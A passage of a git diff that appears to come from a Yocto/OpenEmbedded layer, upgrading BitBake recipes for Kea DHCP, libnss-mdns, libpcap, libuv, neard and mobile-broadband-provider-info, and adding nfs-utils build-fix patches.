+SUMMARY = "ISC Kea DHCP Server"
+DESCRIPTION = "Kea is the next generation of DHCP software developed by ISC. It supports both DHCPv4 and DHCPv6 protocols along with their extensions, e.g. prefix delegation and dynamic updates to DNS."
+HOMEPAGE = "http://kea.isc.org"
+SECTION = "connectivity"
+LICENSE = "MPL-2.0"
+LIC_FILES_CHKSUM = "file://COPYING;md5=ea061fa0188838072c4248c1318ec131"
+
+DEPENDS = "boost log4cplus openssl"
+
+SRC_URI = "http://ftp.isc.org/isc/kea/${PV}/${BP}.tar.gz \
+ file://kea-dhcp4.service \
+ file://kea-dhcp6.service \
+ file://kea-dhcp-ddns.service \
+ file://kea-dhcp4-server \
+ file://kea-dhcp6-server \
+ file://kea-dhcp-ddns-server \
+ file://fix-multilib-conflict.patch \
+ file://fix_pid_keactrl.patch \
+ file://0001-src-lib-log-logger_unittest_support.cc-do-not-write-.patch \
+ file://0001-kea-fix-reproducible-build-failure.patch \
+ "
+SRC_URI[sha256sum] = "815c61f5c271caa4a1db31dd656eb50a7f6ea973da3690f7c8581408e180131a"
+
+inherit autotools systemd update-rc.d upstream-version-is-even
+
+INITSCRIPT_NAME = "kea-dhcp4-server"
+INITSCRIPT_PARAMS = "defaults 30"
+
+SYSTEMD_SERVICE:${PN} = "kea-dhcp4.service kea-dhcp6.service kea-dhcp-ddns.service"
+SYSTEMD_AUTO_ENABLE = "disable"
+
+DEBUG_OPTIMIZATION:remove:mips = " -Og"
+DEBUG_OPTIMIZATION:append:mips = " -O"
+BUILD_OPTIMIZATION:remove:mips = " -Og"
+BUILD_OPTIMIZATION:append:mips = " -O"
+
+DEBUG_OPTIMIZATION:remove:mipsel = " -Og"
+DEBUG_OPTIMIZATION:append:mipsel = " -O"
+BUILD_OPTIMIZATION:remove:mipsel = " -Og"
+BUILD_OPTIMIZATION:append:mipsel = " -O"
+
+EXTRA_OECONF = "--with-boost-libs=-lboost_system \
+ --with-log4cplus=${STAGING_DIR_TARGET}${prefix} \
+ --with-openssl=${STAGING_DIR_TARGET}${prefix}"
+
+do_configure:prepend() {
+ # replace abs_top_builddir to avoid introducing the build path
+ # don't expand the abs_top_builddir on the target as the abs_top_builddir is meanlingless on the target
+ find ${S} -type f -name *.sh.in | xargs sed -i "s:@abs_top_builddir@:@abs_top_builddir_placeholder@:g"
+ sed -i "s:@abs_top_srcdir@:@abs_top_srcdir_placeholder@:g" ${S}/src/bin/admin/kea-admin.in
+}
+
+# patch out build host paths for reproducibility
+do_compile:prepend:class-target() {
+ sed -i -e "s,${WORKDIR},,g" ${B}/config.report
+}
+
+do_install:append() {
+ install -d ${D}${sysconfdir}/init.d
+ install -d ${D}${systemd_system_unitdir}
+
+ install -m 0644 ${WORKDIR}/kea-dhcp*service ${D}${systemd_system_unitdir}
+ install -m 0755 ${WORKDIR}/kea-*-server ${D}${sysconfdir}/init.d
+ sed -i -e 's,@SBINDIR@,${sbindir},g' -e 's,@BASE_BINDIR@,${base_bindir},g' \
+ -e 's,@LOCALSTATEDIR@,${localstatedir},g' -e 's,@SYSCONFDIR@,${sysconfdir},g' \
+ ${D}${systemd_system_unitdir}/kea-dhcp*service ${D}${sbindir}/keactrl
+}
+
+do_install:append() {
+ rm -rf "${D}${localstatedir}"
+}
+
+CONFFILES:${PN} = "${sysconfdir}/kea/keactrl.conf"
+
+FILES:${PN}-staticdev += "${libdir}/kea/hooks/*.a ${libdir}/hooks/*.a"
+FILES:${PN} += "${libdir}/hooks/*.so"
+
+PARALLEL_MAKEINST = ""
diff --git a/meta/recipes-connectivity/libnss-mdns/libnss-mdns_0.14.1.bb b/meta/recipes-connectivity/libnss-mdns/libnss-mdns_0.14.1.bb
deleted file mode 100644
index 5e4460045b..0000000000
--- a/meta/recipes-connectivity/libnss-mdns/libnss-mdns_0.14.1.bb
+++ /dev/null
@@ -1,38 +0,0 @@
-SUMMARY = "Name Service Switch module for Multicast DNS (zeroconf) name resolution"
-HOMEPAGE = "https://github.com/lathiat/nss-mdns"
-SECTION = "libs"
-
-LICENSE = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=2d5025d4aa3495befef8f17206a5b0a1"
-
-DEPENDS = "avahi"
-
-SRC_URI = "git://github.com/lathiat/nss-mdns \
- "
-
-SRCREV = "41c9c5e78f287ed4b41ac438c1873fa71bfa70ae"
-
-S = "${WORKDIR}/git"
-
-inherit autotools pkgconfig
-
-COMPATIBLE_HOST_libc-musl = 'null'
-
-EXTRA_OECONF = "--libdir=${base_libdir}"
-
-RDEPENDS_${PN} = "avahi-daemon"
-
-pkg_postinst_${PN} () {
- sed '
- /^hosts:/ !b
- /\<mdns\(4\|6\)\?\(_minimal\)\?\>/ b
- s/\([[:blank:]]\+\)dns\>/\1mdns4_minimal [NOTFOUND=return] dns/g
- ' -i $D${sysconfdir}/nsswitch.conf
-}
-
-pkg_prerm_${PN} () {
- sed '
- /^hosts:/ !b
- s/[[:blank:]]\+mdns\(4\|6\)\?\(_minimal\( \[NOTFOUND=return\]\)\?\)\?//g
- ' -i $D${sysconfdir}/nsswitch.conf
-}
diff --git a/meta/recipes-connectivity/libnss-mdns/libnss-mdns_0.15.1.bb b/meta/recipes-connectivity/libnss-mdns/libnss-mdns_0.15.1.bb
new file mode 100644
index 0000000000..0db609fc47
--- /dev/null
+++ b/meta/recipes-connectivity/libnss-mdns/libnss-mdns_0.15.1.bb
@@ -0,0 +1,39 @@
+SUMMARY = "Name Service Switch module for Multicast DNS (zeroconf) name resolution"
+HOMEPAGE = "https://github.com/lathiat/nss-mdns"
+DESCRIPTION = "nss-mdns is a plugin for the GNU Name Service Switch (NSS) functionality of the GNU C Library (glibc) providing host name resolution via Multicast DNS (aka Zeroconf, aka Apple Rendezvous, aka Apple Bonjour), effectively allowing name resolution by common Unix/Linux programs in the ad-hoc mDNS domain .local."
+SECTION = "libs"
+
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=2d5025d4aa3495befef8f17206a5b0a1"
+
+DEPENDS = "avahi"
+
+SRC_URI = "git://github.com/lathiat/nss-mdns;branch=master;protocol=https \
+ "
+
+SRCREV = "4b3cfe818bf72d99a02b8ca8b8813cb2d6b40633"
+
+S = "${WORKDIR}/git"
+
+inherit autotools pkgconfig
+
+COMPATIBLE_HOST:libc-musl = 'null'
+
+EXTRA_OECONF = "--libdir=${base_libdir}"
+
+RDEPENDS:${PN} = "avahi-daemon"
+
+pkg_postinst:${PN} () {
+ sed '
+ /^hosts:/ !b
+ /\<mdns\(4\|6\)\?\(_minimal\)\?\>/ b
+ s/\([[:blank:]]\+\)dns\>/\1mdns4_minimal [NOTFOUND=return] dns/g
+ ' -i $D${sysconfdir}/nsswitch.conf
+}
+
+pkg_prerm:${PN} () {
+ sed '
+ /^hosts:/ !b
+ s/[[:blank:]]\+mdns\(4\|6\)\?\(_minimal\( \[NOTFOUND=return\]\)\?\)\?//g
+ ' -i $D${sysconfdir}/nsswitch.conf
+}
diff --git a/meta/recipes-connectivity/libpcap/libpcap_1.10.4.bb b/meta/recipes-connectivity/libpcap/libpcap_1.10.4.bb
new file mode 100644
index 0000000000..166654e280
--- /dev/null
+++ b/meta/recipes-connectivity/libpcap/libpcap_1.10.4.bb
@@ -0,0 +1,43 @@
+SUMMARY = "Interface for user-level network packet capture"
+DESCRIPTION = "Libpcap provides a portable framework for low-level network \
+monitoring. Libpcap can provide network statistics collection, \
+security monitoring and network debugging."
+HOMEPAGE = "http://www.tcpdump.org/"
+BUGTRACKER = "http://sourceforge.net/tracker/?group_id=53067&atid=469577"
+SECTION = "libs/network"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=5eb289217c160e2920d2e35bddc36453 \
+ file://pcap.h;beginline=1;endline=32;md5=39af3510e011f34b8872f120b1dc31d2"
+DEPENDS = "flex-native bison-native"
+
+SRC_URI = "https://www.tcpdump.org/release/${BP}.tar.gz"
+SRC_URI[sha256sum] = "ed19a0383fad72e3ad435fd239d7cd80d64916b87269550159d20e47160ebe5f"
+
+inherit autotools binconfig-disabled pkgconfig
+
+BINCONFIG = "${bindir}/pcap-config"
+
+# Explicitly disable dag support. We don't have recipe for it and if enabled here,
+# configure script poisons the include dirs with /usr/local/include even when the
+# support hasn't been detected. Do the same thing for DPDK.
+EXTRA_OECONF = " \
+ --with-pcap=linux \
+ --without-dag \
+ --without-dpdk \
+ "
+EXTRA_AUTORECONF += "--exclude=aclocal"
+
+PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'bluetooth', 'bluez5', '', d)} \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} \
+"
+PACKAGECONFIG[bluez5] = "--enable-bluetooth,--disable-bluetooth,bluez5"
+PACKAGECONFIG[dbus] = "--enable-dbus,--disable-dbus,dbus"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
+PACKAGECONFIG[libnl] = "--with-libnl,--without-libnl,libnl"
+
+do_configure:prepend () {
+ #remove hardcoded references to /usr/include
+ sed 's|\([ "^'\''I]\+\)/usr/include/|\1${STAGING_INCDIR}/|g' -i ${S}/configure.ac
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-connectivity/libpcap/libpcap_1.9.1.bb b/meta/recipes-connectivity/libpcap/libpcap_1.9.1.bb
deleted file mode 100644
index 35bb5650b3..0000000000
--- a/meta/recipes-connectivity/libpcap/libpcap_1.9.1.bb
+++ /dev/null
@@ -1,44 +0,0 @@
-SUMMARY = "Interface for user-level network packet capture"
-DESCRIPTION = "Libpcap provides a portable framework for low-level network \
-monitoring. Libpcap can provide network statistics collection, \
-security monitoring and network debugging."
-HOMEPAGE = "http://www.tcpdump.org/"
-BUGTRACKER = "http://sourceforge.net/tracker/?group_id=53067&atid=469577"
-SECTION = "libs/network"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=5eb289217c160e2920d2e35bddc36453 \
- file://pcap.h;beginline=1;endline=32;md5=39af3510e011f34b8872f120b1dc31d2"
-DEPENDS = "flex-native bison-native"
-
-SRC_URI = "https://www.tcpdump.org/release/${BP}.tar.gz \
- "
-SRC_URI[md5sum] = "21af603d9a591c7d96a6457021d84e6c"
-SRC_URI[sha256sum] = "635237637c5b619bcceba91900666b64d56ecb7be63f298f601ec786ce087094"
-
-inherit autotools binconfig-disabled pkgconfig
-
-BINCONFIG = "${bindir}/pcap-config"
-
-# Explicitly disable dag support. We don't have recipe for it and if enabled here,
-# configure script poisons the include dirs with /usr/local/include even when the
-# support hasn't been detected.
-EXTRA_OECONF = " \
- --with-pcap=linux \
- --without-dag \
- "
-EXTRA_AUTORECONF += "--exclude=aclocal"
-
-PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'bluetooth', 'bluez5', '', d)} \
- ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} \
-"
-PACKAGECONFIG[bluez5] = "--enable-bluetooth,--disable-bluetooth,bluez5"
-PACKAGECONFIG[dbus] = "--enable-dbus,--disable-dbus,dbus"
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
-PACKAGECONFIG[libnl] = "--with-libnl,--without-libnl,libnl"
-
-do_configure_prepend () {
- #remove hardcoded references to /usr/include
- sed 's|\([ "^'\''I]\+\)/usr/include/|\1${STAGING_INCDIR}/|g' -i ${S}/configure.ac
-}
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-connectivity/libuv/libuv_1.38.1.bb b/meta/recipes-connectivity/libuv/libuv_1.38.1.bb
deleted file mode 100644
index 874546373a..0000000000
--- a/meta/recipes-connectivity/libuv/libuv_1.38.1.bb
+++ /dev/null
@@ -1,19 +0,0 @@
-SUMMARY = "A multi-platform support library with a focus on asynchronous I/O"
-HOMEPAGE = "https://github.com/libuv/libuv"
-BUGTRACKER = "https://github.com/libuv/libuv/issues"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=a68902a430e32200263d182d44924d47"
-
-SRCREV = "e8b989ea1f7f9d4083511a2caec7791e9abd1871"
-SRC_URI = "git://github.com/libuv/libuv;branch=v1.x"
-
-S = "${WORKDIR}/git"
-
-inherit autotools
-
-do_configure() {
- ${S}/autogen.sh || bbnote "${PN} failed to autogen.sh"
- oe_runconf
-}
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-connectivity/libuv/libuv_1.48.0.bb b/meta/recipes-connectivity/libuv/libuv_1.48.0.bb
new file mode 100644
index 0000000000..87a2c22a7c
--- /dev/null
+++ b/meta/recipes-connectivity/libuv/libuv_1.48.0.bb
@@ -0,0 +1,22 @@
+SUMMARY = "A multi-platform support library with a focus on asynchronous I/O"
+HOMEPAGE = "https://github.com/libuv/libuv"
+DESCRIPTION = "libuv is a multi-platform support library with a focus on asynchronous I/O. It was primarily developed for use by Node.js, but it's also used by Luvit, Julia, pyuv, and others."
+BUGTRACKER = "https://github.com/libuv/libuv/issues"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=74b6f2f7818a4e3a80d03556f71b129b \
+ file://LICENSE-extra;md5=f9307417749e19bd1d6d68a394b49324"
+
+SRCREV = "e9f29cb984231524e3931aa0ae2c5dae1a32884e"
+SRC_URI = "git://github.com/libuv/libuv.git;branch=v1.x;protocol=https"
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+(\.\d+)+)"
+
+S = "${WORKDIR}/git"
+
+inherit autotools
+
+do_configure() {
+ ${S}/autogen.sh || bbnote "${PN} failed to autogen.sh"
+ oe_runconf
+}
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-connectivity/mobile-broadband-provider-info/mobile-broadband-provider-info_git.bb b/meta/recipes-connectivity/mobile-broadband-provider-info/mobile-broadband-provider-info_git.bb
index 0b0bbab168..a4030b7b32 100644
--- a/meta/recipes-connectivity/mobile-broadband-provider-info/mobile-broadband-provider-info_git.bb
+++ b/meta/recipes-connectivity/mobile-broadband-provider-info/mobile-broadband-provider-info_git.bb
@@ -1,13 +1,15 @@
SUMMARY = "Mobile Broadband Service Provider Database"
HOMEPAGE = "http://live.gnome.org/NetworkManager/MobileBroadband/ServiceProviders"
+DESCRIPTION = "Mobile Broadband Service Provider Database stores service provider specific information. When this Database is available the information can be fetched there"
SECTION = "network"
LICENSE = "PD"
LIC_FILES_CHKSUM = "file://COPYING;md5=87964579b2a8ece4bc6744d2dc9a8b04"
-SRCREV = "22b49d86fb7aded2c195a9d49e5924da696b3228"
-PV = "20190618"
+
+SRCREV = "aae7c68671d225e6d35224613d5b98192b9b2ffe"
+PV = "20230416"
PE = "1"
-SRC_URI = "git://gitlab.gnome.org/GNOME/mobile-broadband-provider-info.git;protocol=https"
+SRC_URI = "git://gitlab.gnome.org/GNOME/mobile-broadband-provider-info.git;protocol=https;branch=main"
S = "${WORKDIR}/git"
inherit autotools
diff --git a/meta/recipes-connectivity/neard/neard_0.16.bb b/meta/recipes-connectivity/neard/neard_0.16.bb
deleted file mode 100644
index 7c124a3c0b..0000000000
--- a/meta/recipes-connectivity/neard/neard_0.16.bb
+++ /dev/null
@@ -1,50 +0,0 @@
-SUMMARY = "Linux NFC daemon"
-DESCRIPTION = "A daemon for the Linux Near Field Communication stack"
-HOMEPAGE = "http://01.org/linux-nfc"
-LICENSE = "GPLv2"
-
-DEPENDS = "dbus glib-2.0 libnl"
-
-SRC_URI = "${KERNELORG_MIRROR}/linux/network/nfc/${BP}.tar.xz \
- file://neard.in \
- file://Makefile.am-fix-parallel-issue.patch \
- file://Makefile.am-do-not-ship-version.h.patch \
- file://0001-Add-header-dependency-to-nciattach.o.patch \
- "
-SRC_URI[md5sum] = "5c691fb7872856dc0d909c298bc8cb41"
-SRC_URI[sha256sum] = "eae3b11c541a988ec11ca94b7deab01080cd5b58cfef3ced6ceac9b6e6e65b36"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=12f884d2ae1ff87c09e5b7ccc2c4ca7e \
- file://src/near.h;beginline=1;endline=20;md5=358e4deefef251a4761e1ffacc965d13 \
- "
-
-inherit autotools pkgconfig systemd update-rc.d
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
-
-PACKAGECONFIG[systemd] = "--enable-systemd --with-systemdsystemunitdir=${systemd_unitdir}/system/ --with-systemduserunitdir=${systemd_unitdir}/user/,--disable-systemd"
-
-EXTRA_OECONF += "--enable-tools"
-
-# This would copy neard start-stop shell and test scripts
-do_install_append() {
- if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
- install -d ${D}${sysconfdir}/init.d/
- sed "s:@installpath@:${libexecdir}/nfc:" ${WORKDIR}/neard.in \
- > ${D}${sysconfdir}/init.d/neard
- chmod 0755 ${D}${sysconfdir}/init.d/neard
- fi
-}
-
-RDEPENDS_${PN} = "dbus"
-
-# Bluez & Wifi are not mandatory except for handover
-RRECOMMENDS_${PN} = "\
- ${@bb.utils.contains('DISTRO_FEATURES', 'bluetooth', 'bluez5', '', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'wifi','wpa-supplicant', '', d)} \
- "
-
-INITSCRIPT_NAME = "neard"
-INITSCRIPT_PARAMS = "defaults 64"
-
-SYSTEMD_SERVICE_${PN} = "neard.service"
diff --git a/meta/recipes-connectivity/neard/neard_0.19.bb b/meta/recipes-connectivity/neard/neard_0.19.bb
new file mode 100644
index 0000000000..a98f436b98
--- /dev/null
+++ b/meta/recipes-connectivity/neard/neard_0.19.bb
@@ -0,0 +1,51 @@
+SUMMARY = "Linux NFC daemon"
+DESCRIPTION = "A daemon for the Linux Near Field Communication stack"
+HOMEPAGE = "http://01.org/linux-nfc"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=12f884d2ae1ff87c09e5b7ccc2c4ca7e \
+ file://src/near.h;beginline=1;endline=20;md5=358e4deefef251a4761e1ffacc965d13 \
+ "
+
+DEPENDS = "dbus glib-2.0 libnl autoconf-archive-native"
+
+SRC_URI = "git://git.kernel.org/pub/scm/network/nfc/neard.git;protocol=https;branch=master \
+ file://neard.in \
+ file://Makefile.am-fix-parallel-issue.patch \
+ file://Makefile.am-do-not-ship-version.h.patch \
+ file://0001-Add-header-dependency-to-nciattach.o.patch \
+ "
+
+SRCREV = "a1dc8a75cba999728e154a0f811ab9dd50c809f7"
+
+S = "${WORKDIR}/git"
+
+inherit autotools pkgconfig systemd update-rc.d
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
+
+PACKAGECONFIG[systemd] = "--enable-systemd --with-systemdsystemunitdir=${systemd_system_unitdir}/ --with-systemduserunitdir=${systemd_unitdir}/user/,--disable-systemd"
+
+EXTRA_OECONF += "--enable-tools"
+
+# This would copy neard start-stop shell and test scripts
+do_install:append() {
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
+ install -d ${D}${sysconfdir}/init.d/
+ sed "s:@installpath@:${libexecdir}/nfc:" ${WORKDIR}/neard.in \
+ > ${D}${sysconfdir}/init.d/neard
+ chmod 0755 ${D}${sysconfdir}/init.d/neard
+ fi
+}
+
+RDEPENDS:${PN} = "dbus"
+
+# Bluez & Wifi are not mandatory except for handover
+RRECOMMENDS:${PN} = "\
+ ${@bb.utils.contains('DISTRO_FEATURES', 'bluetooth', 'bluez5', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'wifi','wpa-supplicant', '', d)} \
+ "
+
+INITSCRIPT_NAME = "neard"
+INITSCRIPT_PARAMS = "defaults 64"
+
+SYSTEMD_SERVICE:${PN} = "neard.service"
diff --git a/meta/recipes-connectivity/nfs-utils/nfs-utils/0001-Makefile.am-fix-undefined-function-for-libnsm.a.patch b/meta/recipes-connectivity/nfs-utils/nfs-utils/0001-Makefile.am-fix-undefined-function-for-libnsm.a.patch
index bd350144e3..7603eb680d 100644
--- a/meta/recipes-connectivity/nfs-utils/nfs-utils/0001-Makefile.am-fix-undefined-function-for-libnsm.a.patch
+++ b/meta/recipes-connectivity/nfs-utils/nfs-utils/0001-Makefile.am-fix-undefined-function-for-libnsm.a.patch
@@ -19,7 +19,7 @@ As there is already one source file named file.c
as support/nsm/file.c in support/nsm/Makefile.am,
so rename ../support/misc/file.c to ../support/misc/misc.c.
-Upstream-Status: Submitted[https://marc.info/?l=linux-nfs&m=154502780423058&w=2]
+Upstream-Status: Submitted [https://marc.info/?l=linux-nfs&m=154502780423058&w=2]
Signed-off-by: Mingli Yu <Mingli.Yu@windriver.com>
diff --git a/meta/recipes-connectivity/nfs-utils/nfs-utils/0001-locktest-Makefile.am-Do-not-use-build-flags.patch b/meta/recipes-connectivity/nfs-utils/nfs-utils/0001-locktest-Makefile.am-Do-not-use-build-flags.patch
new file mode 100644
index 0000000000..351407ddcd
--- /dev/null
+++ b/meta/recipes-connectivity/nfs-utils/nfs-utils/0001-locktest-Makefile.am-Do-not-use-build-flags.patch
@@ -0,0 +1,36 @@
+From 9efa7a0d37665d9bb0f46d2407883a5ab42c2b84 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 24 Jul 2023 20:39:16 -0700
+Subject: [PATCH] locktest: Makefile.am: Do not use build flags
+
+Using CFLAGS_FOR_BUILD etc. here means it is using wrong flags
+when thse flags are speficied different than target flags which
+is common when cross-building. It can pass wrong paths to linker
+and it would find incompatible libraries during link since they
+are from host system and target maybe not same as build host.
+
+Fixes subtle errors like
+| aarch64-yoe-linux-ld.lld: error: /mnt/b/yoe/master/build/tmp/work/cortexa72-cortexa53-crypto-yoe-linux/nfs-utils/2.6.3-r0/recipe-sysroot-native/usr/lib/libsqlite3.so is incompatible with elf64-littleaarch64
+
+Upstream-Status: Submitted [https://marc.info/?l=linux-nfs&m=169025681008001&w=2]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ tools/locktest/Makefile.am | 3 ---
+ 1 file changed, 3 deletions(-)
+
+diff --git a/tools/locktest/Makefile.am b/tools/locktest/Makefile.am
+index e8914655..2fd36971 100644
+--- a/tools/locktest/Makefile.am
++++ b/tools/locktest/Makefile.am
+@@ -2,8 +2,5 @@
+
+ noinst_PROGRAMS = testlk
+ testlk_SOURCES = testlk.c
+-testlk_CFLAGS=$(CFLAGS_FOR_BUILD)
+-testlk_CPPFLAGS=$(CPPFLAGS_FOR_BUILD)
+-testlk_LDFLAGS=$(LDFLAGS_FOR_BUILD)
+
+ MAINTAINERCLEANFILES = Makefile.in
+--
+2.41.0
+
diff --git a/meta/recipes-connectivity/nfs-utils/nfs-utils/0001-reexport.h-Include-unistd.h-to-compile-with-musl.patch b/meta/recipes-connectivity/nfs-utils/nfs-utils/0001-reexport.h-Include-unistd.h-to-compile-with-musl.patch
new file mode 100644
index 0000000000..57d4660571
--- /dev/null
+++ b/meta/recipes-connectivity/nfs-utils/nfs-utils/0001-reexport.h-Include-unistd.h-to-compile-with-musl.patch
@@ -0,0 +1,34 @@
+From 45597a58e98f351b18db8444292b1cf6dd0cd810 Mon Sep 17 00:00:00 2001
+From: Robert Yang <liezhi.yang@windriver.com>
+Date: Sat, 9 Dec 2023 23:34:08 -0800
+Subject: [PATCH] reexport.h: Include unistd.h to compile with musl
+
+Fixed error when compile with musl
+reexport.c: In function 'reexpdb_init':
+reexport.c:62:17: error: implicit declaration of function 'sleep' [-Werror=implicit-function-declaration]
+ 62 | sleep(1);
+
+
+Upstream-Status: Submitted [https://marc.info/?l=linux-nfs&m=170254661824522&w=2]
+
+Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
+---
+ support/reexport/reexport.h | 1 +
+ 1 files changed, 1 insertions(+)
+
+diff --git a/support/reexport/reexport.h b/support/reexport/reexport.h
+index 85fd59c..02f8684 100644
+--- a/support/reexport/reexport.h
++++ b/support/reexport/reexport.h
+@@ -1,6 +1,8 @@
+ #ifndef REEXPORT_H
+ #define REEXPORT_H
+
++#include <unistd.h>
++
+ #include "nfslib.h"
+
+ enum {
+--
+2.42.0
+
diff --git a/meta/recipes-connectivity/nfs-utils/nfs-utils/0001-tools-locktest-Use-intmax_t-to-print-off_t.patch b/meta/recipes-connectivity/nfs-utils/nfs-utils/0001-tools-locktest-Use-intmax_t-to-print-off_t.patch
new file mode 100644
index 0000000000..7d903e04bc
--- /dev/null
+++ b/meta/recipes-connectivity/nfs-utils/nfs-utils/0001-tools-locktest-Use-intmax_t-to-print-off_t.patch
@@ -0,0 +1,53 @@
+From e2e9251dbeb452f5382179023d8ae18b511167a1 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Tue, 25 Jul 2023 23:47:08 -0700
+Subject: [PATCH] tools/locktest: Use intmax_t to print off_t
+
+off_t could be 64bit on 32bit architectures which means using %z printf
+modifier is not enough to print it and compiler will complain about
+format mismatch
+
+Fixes
+| testlk.c:84:66: error: format '%zd' expects argument of type 'signed size_t', but argument 4 has type '__off64_t' {aka 'long long int'} [-Werror=format=]
+| 84 | printf("%s: conflicting lock by %d on (%zd;%zd)\n",
+| | ~~^
+| | |
+| | int
+| | %lld
+| 85 | fname, fl.l_pid, fl.l_start, fl.l_len);
+| | ~~~~~~~~~~
+| | |
+| | __off64_t {aka long long int}
+
+Upstream-Status: Submitted [https://marc.info/?l=linux-nfs&m=169035457128067&w=2]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ tools/locktest/testlk.c | 5 +++--
+ 1 file changed, 3 insertions(+), 2 deletions(-)
+
+diff --git a/tools/locktest/testlk.c b/tools/locktest/testlk.c
+index ea51f788..9d4c88c4 100644
+--- a/tools/locktest/testlk.c
++++ b/tools/locktest/testlk.c
+@@ -2,6 +2,7 @@
+ #include <config.h>
+ #endif
+
++#include <stdint.h>
+ #include <stdlib.h>
+ #include <stdio.h>
+ #include <unistd.h>
+@@ -81,8 +82,8 @@ main(int argc, char **argv)
+ if (fl.l_type == F_UNLCK) {
+ printf("%s: no conflicting lock\n", fname);
+ } else {
+- printf("%s: conflicting lock by %d on (%zd;%zd)\n",
+- fname, fl.l_pid, fl.l_start, fl.l_len);
++ printf("%s: conflicting lock by %d on (%jd;%jd)\n",
++ fname, fl.l_pid, (intmax_t)fl.l_start, (intmax_t)fl.l_len);
+ }
+ return 0;
+ }
+--
+2.41.0
+
diff --git a/meta/recipes-connectivity/nfs-utils/nfs-utils/clang-warnings.patch b/meta/recipes-connectivity/nfs-utils/nfs-utils/clang-warnings.patch
index 20400fef67..fde99b599e 100644
--- a/meta/recipes-connectivity/nfs-utils/nfs-utils/clang-warnings.patch
+++ b/meta/recipes-connectivity/nfs-utils/nfs-utils/clang-warnings.patch
@@ -1,4 +1,7 @@
-Detect warning options during configure
+From 1ab0c326405c6daa06f1a7eb4b0b60bf4e0584c2 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Tue, 31 Dec 2019 08:15:34 -0800
+Subject: [PATCH] Detect warning options during configure
Certain options maybe compiler specific therefore its better
to detect them before use.
@@ -12,28 +15,12 @@ Wdiscarded-qualifiers is gcc specific and this is no longer needed
Upstream-Status: Pending
Signed-off-by: Khem Raj <raj.khem@gmail.com>
---- a/configure.ac
-+++ b/configure.ac
-@@ -599,7 +599,6 @@ my_am_cflags="\
- -Werror=parentheses \
- -Werror=aggregate-return \
- -Werror=unused-result \
-- -Wno-cast-function-type \
- -fno-strict-aliasing \
- "
-
-@@ -619,9 +618,10 @@ CHECK_CCSUPPORT([-Werror=format-overflow
- CHECK_CCSUPPORT([-Werror=int-conversion], [flg2])
- CHECK_CCSUPPORT([-Werror=incompatible-pointer-types], [flg3])
- CHECK_CCSUPPORT([-Werror=misleading-indentation], [flg4])
-+CHECK_CCSUPPORT([-Wno-cast-function-type], [flg5])
- AX_GCC_FUNC_ATTRIBUTE([format])
-
--AC_SUBST([AM_CFLAGS], ["$my_am_cflags $flg1 $flg2 $flg3 $flg4"])
-+AC_SUBST([AM_CFLAGS], ["$my_am_cflags $flg1 $flg2 $flg3 $flg4 $flg5"])
-
- # Make sure that $ACLOCAL_FLAGS are used during a rebuild
- AC_SUBST([ACLOCAL_AMFLAGS], ["-I $ac_macro_dir \$(ACLOCAL_FLAGS)"])
+---
+ support/nfs/xcommon.c | 3 +++
+ 1 file changed, 3 insertions(+)
+
+diff --git a/support/nfs/xcommon.c b/support/nfs/xcommon.c
+index 3989f0b..e080423 100644
--- a/support/nfs/xcommon.c
+++ b/support/nfs/xcommon.c
@@ -98,7 +98,10 @@ nfs_error (const char *fmt, ...) {
@@ -47,15 +34,3 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
va_end (args);
free (fmt2);
}
---- a/utils/mount/stropts.c
-+++ b/utils/mount/stropts.c
-@@ -1094,9 +1094,7 @@ static int nfsmount_fg(struct nfsmount_i
- if (nfs_try_mount(mi))
- return EX_SUCCESS;
-
--#pragma GCC diagnostic ignored "-Wdiscarded-qualifiers"
- if (errno == EBUSY && is_mountpoint(mi->node)) {
--#pragma GCC diagnostic warning "-Wdiscarded-qualifiers"
- /*
- * EBUSY can happen when mounting a filesystem that
- * is already mounted or when the context= are
diff --git a/meta/recipes-connectivity/nfs-utils/nfs-utils/nfs-mountd.service b/meta/recipes-connectivity/nfs-utils/nfs-utils/nfs-mountd.service
index c01415de84..ebfe64b9ce 100644
--- a/meta/recipes-connectivity/nfs-utils/nfs-utils/nfs-mountd.service
+++ b/meta/recipes-connectivity/nfs-utils/nfs-utils/nfs-mountd.service
@@ -12,6 +12,7 @@ ConditionPathExists=@SYSCONFDIR@/exports
